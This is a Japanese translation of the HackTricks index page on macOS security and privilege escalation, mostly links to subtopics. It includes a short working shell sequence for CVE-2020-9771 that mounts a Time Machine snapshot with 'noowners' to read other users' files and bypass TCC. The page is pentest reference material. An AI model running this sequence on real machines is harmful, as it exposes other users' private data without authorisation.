hacktricks/macos-hardening/macos-security-and-privilege-escalation
2023-07-07 23:42:27 +00:00
..
mac-os-architecture Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-apps-inspecting-debugging-and-fuzzing Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-files-folders-and-binaries Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-proces-abuse Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-security-protections Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-applefs.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-basic-objective-c.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-bypassing-firewalls.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-defensive-apps.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-dyld-hijacking-and-dyld_insert_libraries.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-file-extension-apps.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-protocols.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-users.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00

macOSセキュリティと特権エスカレーション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofをフォロー して、web3のバグについてもっと学びましょう

🐞 web3のバグチュートリアルを読む

🔔 新しいバグバウンティについて通知を受ける

💬 コミュニティディスカッションに参加する

基本的なMacOS

MacOSに慣れていない場合は、MacOSの基礎を学ぶことから始めるべきです

  • 特別なMacOSのファイルと権限:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • 一般的なMacOSのユーザー

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • カーネルのアーキテクチャ

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • 一般的なMacOSのネットワークサービスとプロトコル

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

企業では、MacOSシステムはおそらくMDMで管理されることが多いです。したがって、攻撃者の視点からは、それがどのように機能するかを知ることが興味深いです:

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - 検査、デバッグ、およびFuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

MacOSセキュリティ保護

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

攻撃対象

ファイルの権限

rootとして実行されているプロセスがユーザーによって制御可能なファイルを書き込む場合、ユーザーはこれを悪用して特権をエスカレーションすることができます。
これは次の状況で発生する可能性があります:

  • ユーザーによって既に作成されたファイル(ユーザーが所有)
  • グループによって書き込み可能なファイル
  • ユーザーが所有するディレクトリ内のファイル(ユーザーがファイルを作成できる)
  • rootが所有するディレクトリ内のファイルであり、ユーザーがグループによる書き込みアクセス権を持っているユーザーがファイルを作成できる

rootが使用するファイル作成できるようになると、ユーザーはその内容を利用したり、別の場所を指すためにシンボリックリンク/ハードリンクを作成したりすることができます。

このような脆弱性をチェックする際には、脆弱な.pkgインストーラーを確認することを忘れないでください:

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

権限と特権の乱用によるエンタイトルメント

プロセスが特権やエンタイトルメントのある別のプロセスにコードをインジェクトしたり、特権アクションを実行するためにそれに接触したりできる場合、特権をエスカレーションし、SandboxTCCなどの防御策を回避することができます。

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

ファイル拡張子とURLスキームアプリハンドラ

ファイル拡張子によって登録された奇妙なアプリは悪用される可能性があり、異なるアプリケーションが特定のプロトコルを開くために登録されることがあります。

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

MacOS特権エスカレーション

CVE-2020-9771 - mount_apfs TCCバイパスと特権エスカレーション

どのユーザーでも(特権を持たないユーザーでも)タイムマシンのスナップショットを作成し、マウントすることができ、そのスナップショットのすべてのファイルにアクセスすることができます。
必要なのは、使用されるアプリケーション(例:Terminal)がフルディスクアクセスFDAアクセスkTCCServiceSystemPolicyAllfiles)を持つための特権のみであり、これは管理者によって許可される必要があります。

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

より詳しい説明は元のレポートにあります。

機密情報

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

まず、Linux/Unixに影響を与える特権昇格に関するほとんどのトリックは、MacOSマシンにも影響を与えます。したがって、以下を参照してください:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

MacOSの防御アプリ

参考文献

HackenProofをフォロー して、web3のバグについてもっと学びましょう

🐞 web3のバグのチュートリアルを読む

🔔 新しいバグバウンティについて通知を受ける

💬 コミュニティディスカッションに参加する

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥